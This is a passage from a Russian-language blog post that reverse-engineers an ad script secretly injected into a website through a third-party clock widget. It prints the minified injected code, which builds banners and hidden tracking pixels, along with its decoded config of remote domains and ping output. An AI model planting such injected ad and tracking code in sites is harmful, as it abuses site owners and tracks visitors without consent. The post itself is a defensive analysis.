A = k.createElement("div");                 A.id = "wzblock" + a.blockId;                 q[w].parentNode.insertBefore(A, q[w].nextSibling);                 break             }         }         q = k.getElementById("wzblock" + a.blockId);         q.style.display = "block";         r.globalInfo.arrBlocks =             [];         this.data = a;         p.appendChild(e);         b(e, "table");         for (w = A = 0; w < a.vertCount; w += 1) {             B = k.createElement("tr");             for (n = 0; n < a.horizCount; n += 1) {                 var m = {D: k.createElement("td"), h: k.createElement("img"), text: k.createElement("span"), u: k.createElement("span")}, l = a.teasers[A], u = k.createElement("span"), t = k.createElement("a");                 A++;                 for (var v in m)b(m[v], v), "td" == v && c(m[v], m.text);                 var C = l.trackingDomain;                 m.h.src = x.a.imgDomain + l.src;                 m.h.title = this.B(l.title);                 m.h.alt = this.B(l.title);                 m.h.setAttribute("clickUri", l.clickUri);                 g.Q() &&                 (m.h.onclick = function () {                     r.open(C + g.g(this.getAttribute("clickUri") + d.G()))                 });                 u.innerHTML = this.B(l.title);                 m.text.className = "wzTextSpan";                 m.text.appendChild(u);                 r.globalInfo.arrBlocks.push(m.text);                 m.u.appendChild(m.h);                 t.target = "_blank";                 t.href = l.trackingDomain + g.g(l.clickUri);                 t.style.cssText = "text-decoration:none;display:block;";                 t.setAttribute("clickUri", l.clickUri);                 t.onclick = function () {                     this.href = C + g.g(this.getAttribute("clickUri") + d.G())                 };                 t.appendChild(m.u);                 t.appendChild(m.text);                 m.D.appendChild(t);                 B.appendChild(m.D)             }             f.appendChild(B);             e.appendChild(f)         }         h.src = a.teasers[0].impDomain + g.g(a.trackShowUri);         h.style.cssText = "left:-10000px;top:-10000px;height:1px;width:1px;position:absolute;";         p.appendChild(h);         q.appendChild(p);         this.o();         if ("px" != this.r.widthUnit) {             var E = e.offsetWidth;             r.onresize = function () {                 10 < Math.abs(E - e.offsetWidth) && (j.o(), E = e.offsetWidth)             }         }     };     da.prototype.o = function (a) {         if (!this.data.dontResizeFonts) {             0 == parseInt(this.d, 10) && this.ta();             a = a || r.globalInfo.arrBlocks;             for (var b = 0, c = a.length; b < c; b += 1)if ("SPAN" == a[b].tagName || "TD" ==                 a[b].tagName) {                 var d = a[b].getElementsByTagName("span")[0];                 if ("undefined" !== typeof d)if (d.offsetHeight > parseInt(this.d, 10))for (; a[b].style.fontSize && d.offsetHeight > parseInt(this.d, 10) && 0 < parseInt(a[b].style.fontSize, 10);)a[b].style.fontSize = parseInt(a[b].style.fontSize, 10) - 1 + this.data.textSizeUnit; else for (; a[b].style.fontSize && d.offsetHeight < parseInt(this.d, 10) && parseInt(a[b].style.fontSize, 10) < parseInt(this.data.textSize, 10);)a[b].style.fontSize = parseInt(a[b].style.fontSize, 10) + 1 + this.data.textSizeUnit             }         }     };     E(ga, da);     ga.prototype.p = function (a) {         function b() {             var a = r.scrollY || j.scrollTop || k.body.scrollTop;             m <= a && !n ? (clearInterval(q), q = s, f.style.display = "block", d.o(), n = setInterval(function () {                 0 > parseInt(h.style[B], 10) ? h.style[B] = parseInt(h.style[B], 10) + 20 + "px" : (h.style[B] = "0px", clearInterval(n), n = s)             }, 20)) : m > a && !q && c()         }          function c(b) {             clearInterval(n);             n = s;             q = setInterval(function () {                 parseInt(h.style[B], 10) > 0 - d.width ? h.style[B] = parseInt(h.style[B], 10) - 20 + "px" : (h.style[B] = 0 - d.width + "px", clearInterval(q), q = s, b ? d.close(a,                     f) : f.style.display = "none")             }, 20)         }          this.t(a);         var d = this, e = "wzScroller" + (new Date).getTime(), f = k.createElement("div"), p = k.createElement("div"), h = k.createElement("div"), j = k.documentElement, m = 200, n, q, B, l = "z-index:10000;overflow:hidden;bottom:0;height:100%;width:100%;background:none;", u = "margin:20px 0 0;position:absolute;top:0;width:100%;height:100%;", t = "position:absolute;width:100%;height:20px;top:-20px;";         this.r = a;         switch (a.bannerPosition) {             case 6:                 B = "left";                 l += "left: 0;";                 u += "padding:0 30px 5px 5px;background:url(" +                     x.a.scriptsDomain + "img/bottom_l.png) no-repeat 100% bottom;";                 t += "right:0;background:url(" + x.a.scriptsDomain + "img/top_l.png) no-repeat 100% 0;";                 break;             default:                 B = "right", l += "right: 0;", u += "padding:0 5px 5px 30px;background:url(" + x.a.scriptsDomain + "img/bottom_r.png) no-repeat 0 bottom;", t += "left:0;background:url(" + x.a.scriptsDomain + "img/top_r.png) no-repeat 0 0;"         }         this.height = this.width = 0;         h.innerHTML = '\x3cspan style\x3d"float: left;font: bold 14px Arial; color: #701C1F;"\x3e\u0427\u0418\u0422\u0410\u0419\u0422\u0415 \u0422\u0410\u041a\u0416\u0415\x3c/span\x3e\x3cspan style\x3d"float: right; font: 12px/16px Arial; color:#666;cursor: pointer;" id\x3d"close_' +             e + '"\x3e\u0417\u0430\u043a\u0440\u044b\u0442\u044c\x3c/span\x3e\x3cdiv style\x3d"clear: both;"\x3e\x3c/div\x3e';         h.appendChild(p);         p.style.cssText = t;         h.style.cssText = u;         h.id = e;         g.v() ? l += "position:fixed;" : (l += "position:absolute;", g.aa({F: f}), this.b(r, "scroll", function () {             g.aa({F: f})         }, T));         f.style.cssText = l;         f.appendChild(h);         this.H(h, a);         k.body.appendChild(f);         f.style.width = a.width + a.widthUnit;         l = f.offsetWidth - 35;         h.style.width = 790 > l ? l + "px" : "755px";         this.sa(a, e);         f.style.width = this.width + 35 + "px";         h.style[B] = "-" + this.width +             "px";         h.style.width = this.width + "px";         f.style.height = this.height + 70 + "px";         h.style.height = this.height + 45 + "px";         p.style.width = f.style.width;         f.style.display = "none";         this.b(r, "scroll", function () {             b()         }, T);         this.b(r, "resize", function () {             b()         }, T);         k.getElementById("close_" + e).onclick = function () {             c(y)         };         this.wrap = f;         this.data = a;         this.id = e;         return this     };     ga.prototype.sa = function (a, b) {         function c(a, b) {             a.style.cssText = n.I[b];             e.b(a, "mouseover", function () {                 a.style.cssText = n.P[b];                 "text" == b && n.o([a])             }, T);             e.b(a, "mouseout", function () {                 a.style.cssText =                     n.I[b];                 n.o([a])             }, T)         }          function d(a, b) {             e.b(a, "mouseover", function () {                 b.style.cssText = n.P.sPText;                 "TD" == a.tagName && n.o([b])             }, y);             e.b(a, "mouseout", function () {                 b.style.cssText = n.I.sPText;                 n.o([b])             }, y)         }          var e = this, f = k.createElement("table"), p = k.getElementById(b), h = k.createElement("tbody"), j = k.createDocumentFragment(), m = k.createElement("img"), n = this, q = s, l;         if (!q)switch (q = {}, q.size = parseInt(a.bannerSize, 10) + 2 * parseInt(a.imgBorderWidth, 10), l = q.size + parseInt(a.imgMarginSize, 10), a.orientation) {             case "over":                 q.margin =                     "0";                 q.C = "0 0 " + a.imgMarginSize + "px";                 q.m = "none";                 q.l = "center";                 q.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize), left: -(a.bannerSizeOnmouseover - a.bannerSize) / 2};                 break;             case "left":                 q.margin = "0 0 0 " + l + "px";                 q.C = "0 -" + l + "px 0 0";                 q.m = "left";                 q.l = "left";                 q.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize) / 2, left: -(a.bannerSizeOnmouseover - a.bannerSize)};                 break;             case "right":                 q.margin = "0 " + l + "px 0 0", q.C = "0 0 0 -" + l + "px", q.m = "right", q.l = "left", q.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize) / 2, left: 0}         }         l = q;         var u = g.Q() ?             "display:inline;zoom:1;" : "display:inline-block;", t = parseInt(a.textSize, 10), v = t + (parseInt(a.textMouseOnTextSize, 10) - parseInt(a.textSize, 10)), C = t + (parseInt(a.textMouseOnTeaserSize, 10) - parseInt(a.textSize, 10));         this.d = parseInt(a.textDivHeight, 10);         this.I = {table: "margin:5px 0;table-layout:fixed;background:" + a.background + ";border-collapse:separate;border-spacing:" + a.blockMarginVert + "px " + a.blockMarginHoriz + "px;width:100%;border:" + a.borderWidth + "px " + a.borderType + " " + a.borderColor, D: "vertical-align:top;background:" +             a.cellBackground + ";border:" + a.cellBorderWidth + "px " + a.cellBorderType + " " + a.cellBorderColor + ";cursor:pointer;text-align:" + l.l + ";width:" + 100 / a.horizCount + "%", u: "z-index:1;margin:" + l.C + ";position:relative;" + u + ";height:" + l.size + "px;width:" + l.size + "px;float:" + l.m, h: "position:absolute;top:0;left:0;width:" + a.bannerSize + "px;height:" + a.bannerSize + "px;border:" + a.imgBorderWidth + "px " + a.imgBorderType + " " + a.imgBorderColor, text: "margin:" + l.margin + ";cursor:pointer;float:" + l.l + ";height:" + (0 != this.d ? this.d + "px" : "auto") +             ";text-decoration:" + ("false" != a.textFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textFontBold ? "700" : "100") + ";font-size:" + t + a.textSizeUnit + ";font-family:" + a.textFont + ";color:" + a.textColor, sPText: "margin:" + l.margin + ";cursor:pointer;float:" + l.l + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textFontBold ? "700" : "100") + ";font-size:" + t + a.textSizeUnit + ";font-family:" + a.textFont +             ";color:" + a.textColor};         this.P = {table: "margin:5px 0;table-layout:fixed;background:" + a.backgroundOnmouseover + ";border-collapse:separate;border-spacing:" + a.blockMarginVert + "px " + a.blockMarginHoriz + "px;width:100%;border:" + a.borderWidth + "px " + a.borderType + " " + a.borderColor, D: "vertical-align:top;background:" + a.cellBackgroundOnmouseover + ";border:" + a.cellBorderWidth + "px " + a.cellBorderType + " " + a.cellBorderColor + ";cursor:pointer;text-align:" + l.l + ";width:" + 100 / a.horizCount + "%", u: "z-index:5;margin:" + l.C + ";position:relative;" +             u + ";height:" + l.size + "px;width:" + l.size + "px;float:" + l.m, h: "position:absolute;cursor:pointer;top:" + q.A.top + "px;left:" + q.A.left + "px;height:" + a.bannerSizeOnmouseover + "px;width:" + a.bannerSizeOnmouseover + "px;border:" + a.imgBorderWidth + "px " + a.imgBorderType + " " + a.imgBorderColor, text: "margin:" + l.margin + ";cursor:pointer;float:" + l.l + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textMouseOnTextFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textMouseOnTextFontBold ?             "700" : "100") + ";font-size:" + v + a.textMouseOnTextSizeUnit + ";font-family:" + a.textMouseOnTextFont + ";color:" + a.textMouseOnTextColor, sPText: "margin:" + l.margin + ";cursor:pointer;float:" + l.l + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textMouseOnTeaserFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textMouseOnTeaserFontBold ? "700" : "100") + ";font-size:" + C + a.textMouseOnTeaserSizeUnit + ";font-family:" + a.textMouseOnTeaserFont + ";color:" + a.textMouseOnTeaserColor};         this.ta = function () {             0 == this.d && (this.d = "over" == a.orientation ? 35 : a.bannerSize)         };         r.globalInfo.arrBlocks = [];         this.data = a;         j.appendChild(f);         c(f, "table");         for (l = q = 0; l < a.vertCount; l += 1) {             u = k.createElement("tr");             for (t = 0; t < a.horizCount; t += 1) {                 var v = {D: k.createElement("td"), h: k.createElement("img"), text: k.createElement("span"), u: k.createElement("span")}, C = a.teasers[q], E = k.createElement("span"), D = k.createElement("a");                 q++;                 for (var G in v)c(v[G], G), "td" == G && d(v[G], v.text);                 var H = C.trackingDomain;                 v.h.src = x.a.imgDomain +                     C.src;                 v.h.title = e.B(C.title);                 v.h.alt = e.B(C.title);                 v.h.setAttribute("clickUri", C.clickUri);                 g.Q() && (v.h.onclick = function () {                     this.href = H + g.g(this.getAttribute("clickUri") + e.G())                 });                 E.innerHTML = e.B(C.title);                 v.text.className = "wzTextSpan";                 v.text.appendChild(E);                 r.globalInfo.arrBlocks.push(v.text);                 v.u.className = "wzImgSpan";                 v.u.appendChild(v.h);                 D.target = "_blank";                 D.href = C.trackingDomain + g.g(C.clickUri);                 D.style.cssText = "text-decoration:none;display:block;";                 D.setAttribute("clickUri", C.clickUri);                 D.onclick = function () {                     this.href =                         H + g.g(this.getAttribute("clickUri") + e)                 };                 D.appendChild(v.u);                 D.appendChild(v.text);                 v.D.appendChild(D);                 u.appendChild(v.D)             }             h.appendChild(u);             f.appendChild(h)         }         m.src = a.teasers[0].impDomain + g.g(a.trackShowUri);         m.style.cssText = this.U;         j.appendChild(m);         p.appendChild(j);         this.height = f.offsetHeight;         this.width = f.offsetWidth;         if ("px" != this.data.widthUnit) {             var I = f.offsetWidth;             r.onresize = function () {                 10 < Math.abs(I - f.offsetWidth) && (n.o(), width = I = f.offsetWidth)             }         }     };     E(Za, ga);     Za.prototype.p = function (a) {         var b = this, c = "wzPopin" +             (new Date).getTime(), d = document.createElement("div"), e = document.createElement("div"), f = document.createElement("span"), k, h, j = "z-index:9999;overflow:hidden;height:0;width:100%;background:none;", l = "background:#fff;position:absolute;", m = "100" == a.height && "%" == a.heightUnit;         if (m)switch (a.bannerPosition) {             case 0:             case 6:                 a.bannerPosition = 3;                 break;             case 2:             case 8:                 a.bannerPosition = 5         }         switch (a.bannerPosition) {             case 0:                 k = "bottom";                 j += "top:0;left:0;";                 l += "margin: 0 0 20px;bottom:0;left:0;right:0;";                 h = "bottom";                 break;             case 2:                 k =                     "bottom";                 j += "top:0;right:0;";                 l += "margin: 0 0 20px;bottom:0;left:0;";                 h = "bottom";                 break;             case 3:                 k = "right";                 j += "top:0;left:0;";                 l += "margin: 20px 0 0;bottom:0;top:0;right:0;";                 h = "top";                 break;             case 5:                 k = "left";                 j += "top:0;right:0;";                 l += "margin: 20px 0 0;bottom:0;top:0;left:0;right:0;";                 h = "top";                 break;             case 6:                 k = "top";                 j += "bottom:0;left:0;";                 l += "margin: 20px 0 0;top:0;left:0;right:0;";                 h = "top";                 break;             default:                 k = "top", j += "bottom:0;right:0;", l += "margin: 20px 0 0;bottom:0;top:0;left:0;right:0;", h = "top"         }         this.width = this.height =             0;         e.style.cssText = l;         e.id = c;         g.v() ? j += "position:fixed;" : (j += "position:absolute;", g.aa({F: d}), r.onscroll = function () {             g.aa({F: d})         });         d.style.cssText = j;         d.appendChild(e);         f.style.cssText = "position: absolute; " + h + ": -17px; right: 10px;font: 12px/17px Arial; color:#666;cursor: pointer;";         f.innerHTML = "\u0417\u0430\u043a\u0440\u044b\u0442\u044c";         setTimeout(function () {             e.appendChild(f)         }, 5E3);         this.H(e, a);         document.body.appendChild(d);         d.style.width = a.width + a.widthUnit;         e.style.width = d.offsetWidth - 0 + "px";         this.sa(a, c);         m ? (d.style.height = "100%", e.style[k] = d.offsetWidth + "px", e.style.height = "100%") : (d.style.height = this.height + 20 + "px", e.style[k] = d.style.height, e.style.height = this.height + "px");         e.style.width = this.width + "px";         this.o();         f.onclick = function () {             b.close(a, d)         };         setTimeout(function () {             var a = setInterval(function () {                 0 < parseInt(e.style[k], 10) ? e.style[k] = parseInt(e.style[k], 10) - 10 + "px" : (e.style[k] = 0, clearInterval(a))             }, 20)         }, 1E3);         this.wrap = d;         this.data = a;         this.id = c;         return this     };     var Eb = new xa, Fb = new Ta, Gb = new Ua, Hb = new Va,         Ib = new ca, Jb = new Wa, Kb = new ya, Lb = new Xa, Mb = new da, Nb = new ga, Ob = new Za, Pb = new Ya, g = new sb, x = new rb(xb) })(window, document, "eyJ2ZXJzaW9ucyI6eyJtcm90IjoiMTM4MTQ3OTUxMzA5NSIsImRpcmVjdCI6IjEzODE0Nzk1MTMwOTUiLCJzY3IiOiIxLzIyLmpzPzI0Iiwicm90IjoiMS8zLmpzPzI0IiwidGwiOiIxLzEyLmpzPzI0IiwiY29tbW9uIjoiMS8xLmpzPzI0IiwibXBwdW5kIjoiMTM4MTQ3OTUxMzA5NSIsImFzIjoiMS8yLmpzPzI0IiwiaWNxIjoiMTM4MTQ3OTUxMzA5NSIsImJyIjoiMS8xMS5qcz8yNCIsInZrbSI6IjEvMjEuanM_MjQiLCJ0c3IiOiIxLzE4LmpzPzI0IiwicGQiOiIxMzgxNDc5NTEzMDk1IiwicHB1bmQiOiIxMzgxNDc5NTEzMDk1Iiwic2dtIjoiMTM4MTQ3OTUxMzA5NSIsInBpbiI6IjEvMjMuanM_MjQiLCJqc2ZyIjoiMTM4MTQ3OTUxMzA5NSIsInBvcHVwIjoiMS80LmpzPzI0IiwibWRpcmVjdCI6IjEzODE0Nzk1MTMwOTUiLCJmciI6IjEzODE0Nzk1MTMwOTUiLCJ3YmwiOiIxMzgxNDc5NTEzMDk1IiwiZW0iOiIxMzgxNDc5NTEzMDk1IiwiY2YiOiIxLzE1LmpzPzI0In0sInNjcmlwdHNEb21haW4iOiJodHRwOi8vMTg4LjY0LjE3NC4yNS9qcy8iLCJydFVyaSI6Ii8_dD1ycnQmYmxvY2tpZHM9MVx1MDAxOCZ0cnNLZXk9NjAyMjgmdWlkPWI3ZWUxMTcwLTMyNGQtMTFlMy1iNGM0LTAwMjU5MDY4YTkyZCIsInVrRG9tYWluIjoiaHR0cDovL3NlYS53YXZldmlldy5pbmZvL3VrLyIsInVrVXJpIjoidD1zeW5jJnV1aWQ9YjdlZTExNzAtMzI0ZC0xMWUzLWI0YzQtMDAyNTkwNjhhOTJkJnJkPTE4OC42NC4xNzQuMjUiLCJyb3RhdG9yRG9tYWluIjoiaHR0cDovLzE4OC42NC4xNzQuMjUiLCJpbWdEb21haW4iOiJodHRwOi8vc2xkLk5FWFQtRkVXLklORk8iLCJ0cnNLZXkiOiI2MDIyOCIsImZvcmVpZ25VaWQiOm51bGwsIm1hdGNoaW5nVXJsIjpudWxsLCJkb250R29Ub1VLIjpudWxsLCJhclVpZCI6bnVsbCwiYWZyYW1lVXJsIjoiaHR0cDovL2V4aXN0LmJ1aWx0LWRyeS5pbmZvLzMuaHRtbCAifQ"); 

Скрипт обернут в анонимную функцию, в которую передается три параметра: window, document и непонятная строка, которая очевидно и есть чем-то интересным, что стоит проанализировать. Передается он в параметр xb. Find Usages этого параметра и попадаем на строку:

x = new rb(xb); 

Это было единственное использование этой строки в коде. Проследим в rb, что же мы там увидим?

    function rb(a) {         this.a = g.parseJSON(g.L(a));         r.globalInfo = {};         g.log(this.a);         if (this.a.ukDomain && this.a.ukUri && !r.udata && !this.a.dontGoToUK) {             var b = this, c = setTimeout(function () {                 b.oa()             }, 5E3);             g.da(this.a.ukDomain, this.a.ukUri, function (a) {                 clearTimeout(c);                 g.parseJSON(g.L(a));                 r.globalInfo.udata = a;                 b.oa()             }, "jsf")         } else this.a.foreignUid || this.Ba(this.a.matchingUrl), this.oa()     } 

Как видно, используется ф-ция parseJSON, но перед этим проходит еще какую-то обработку. Смотрим в функцию L().

L: function (a, b) {             a = a.replace(/[\-]/g, "+").replace(/[_]/g, "/");             for (var c = [-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, 0, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1], d, e, f = 0, g = [], h = 0, j = 0, f = 0; f < a.length; f++)e =                 a.charCodeAt(f), d = c[e & 127], -1 === d ? this.log("Illegal characters (code\x3d" + e + ") in position " + f) : (j = j << 6 | d, h += 6, 8 <= h && (h -= 8, "\x3d" !== a.charAt(f) && g.push(j >> h & 255), j &= (1 << h) - 1));             if (b) {                 c = [];                 b &= 255;                 for (d = 0; d < g.length; c.push(b ^ g[d]), d++);                 g = c             }             return this.lb(g) 

Вот это уже интересно, проходит пребразование строки и возвращается результат, перед этим вызвав еще раз какую-то функцию lb(). Смотрим в нее:

lb: function (a) {             for (var b = [], c = 0, d = a.length, e, f, g; c < d;)e = a[c], f = a[c + 1], g = a[c + 2], 128 > e ? (b.push(String.fromCharCode(e)), c += 1) : 191 < e && 224 > e ? (b.push(String.fromCharCode((e & 31) << 6 | f & 63)), c += 2) : (b.push(String.fromCharCode((e & 15) << 12 | (f & 63) << 6 | g & 63)), c +=                 3);             return b.join("") 

А вот это уже действительно интересно. Это является последней точкой в преобразовании третьего параметра, а именно нашего xb. Значит в переменной x мы получаем чистый объект:

x = new rb(xb) 

Давайте же посмотрим что да как в нем. Копируем все тело скрипта в FireBug и добавляем еще одну строку:

x = new rb(xb); console.debug(x); 

Выполняем и видим результат — чистый JSON этого зловещего третьего параметра:

{     "versions":{         "mrot":"1381475413099",         "direct":"1381475413099",         "scr":"1/22.js?24",         "rot":"1/3.js?24",         "tl":"1/12.js?24",         "common":"1/1.js?24",         "mppund":"1381475413099",         "as":"1/2.js?24",         "icq":"1381475413099",         "br":"1/11.js?24",         "vkm":"1/21.js?24",         "tsr":"1/18.js?24",         "pd":"1381475413099",         "ppund":"1381475413099",         "sgm":"1381475413099",         "pin":"1/23.js?24",         "jsfr":"1381475413099",         "popup":"1/4.js?24",         "mdirect":"1381475413099",         "fr":"1381475413099",         "wbl":"1381475413099",         "em":"1381475413099",         "cf":"1/15.js?24"     },     "scriptsDomain":"http://28310.mytop.pp.ua/js/",     "rtUri":"/?t=rrt&blockids=123154&trsKey=60228&uid=2c2453b0-3244-11e3-9426-00259067db69",     "ukDomain":"http://sea.waveview.info/uk/",     "ukUri":"t=sync&uuid=2c2453b0-3244-11e3-9426-00259067db69&rd=28310.mytop.pp.ua",     "rotatorDomain":"http://28310.mytop.pp.ua",     "imgDomain":"http://sld.NEXT-FEW.INFO",     "trsKey":"60228",     "foreignUid":null,     "matchingUrl":null,     "dontGoToUK":null,     "arUid":null,     "aframeUrl":"http://exist.built-dry.info/3.html " } 

В параметрах этого JSON указаны URL-ы, по которым происходит запрос. Давайте же проверим, куда они ведут. Выполняем команду:

ping 28310.mytop.pp.ua PING 28310.mytop.pp.ua (188.64.174.25) 56(84) bytes of data. 64 bytes from h1net188-64-174-25.h1host.ru (188.64.174.25): icmp_seq=1 ttl=56 time=24.3 ms 64 bytes from h1net188-64-174-25.h1host.ru (188.64.174.25): icmp_seq=2 ttl=56 time=25.4 ms 

Как видим, этот пинг ведет нас на хостинг h1host.ru. Для пущей уверенности я выполнил еще один пинг на другой домен:

ping 28310.innet.pp.ua PING 28310.innet.pp.ua (188.64.174.25) 56(84) bytes of data. 64 bytes from h1net188-64-174-25.h1host.ru (188.64.174.25): icmp_seq=1 ttl=56 time=24.4 ms 

Снова этот же хостинг. Для окончательной проверки я решил сравнить ресурсы, которые загружены в футере, с ресурсами, которые я получу по такому адресу 188.64.174.25. И результатом было все, что грузится в рекламе. Точно так же были проверены и остальные ресурсы — все совпадает.
Значит этот IP и есть «мозгом» этой рекламы.

Остается последнее, как же все-таки очистить свой сайт от проделок кул-хацкеров?
После исследования скрипта стало ясно одно — время для показа рекламы он хранит в кукисах, записанных на другой домен. Также стало ясно, что этот скрипт и является Entry Point рекламы. Здесь создаются все элементы, подключаются другие скрипты и т.п. Способ подключения этого скрипта не в footer’е template’а, а по запросу на наш 188.64.174.25. Этот запрос отдает чистый скрипт, обернутый в анонимную функцию, который выполняется и расставляет все по своим местам. Где же он делает этот запрос?

После долгого анализа запросов, которые идут с сервера я пришел к выводу, что может быть только 2 возможных «подозреваемых» — это yandex-метрика (да, я на нее думал) и один виджет, который я сначала не заметил — виджет с 101widgets.com. Я сразу же попросил убрать эти часы и посмотреть на результат, будет ли появляться реклама снова. После нескольких десятков проб с часами и без, через анонимайзеры и т.п. была выявлена закономерность — часы являются EntryPoint для загрузки скрипта, который в свою очередь, уже создает рекламный баннер.

Вывод: хоть результат и оказался банальным и смешным, было интересно реверсить алгоритм работы данного скрипта и с самого начала аргументированно дойти до причины появления таких рекламных площадок. Виджет создавал еще один запрос на свой хост по адресу 188.64.174.25, который в свою очередь отдавал скрипт и инициализировал процесс отображения баннера.

P.S. Для кого-то это покажется банально простым, а кого-то может заинтересовать и помочь в решении подобной проблемы.

ссылка на оригинал статьи http://habrahabr.ru/post/197178/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *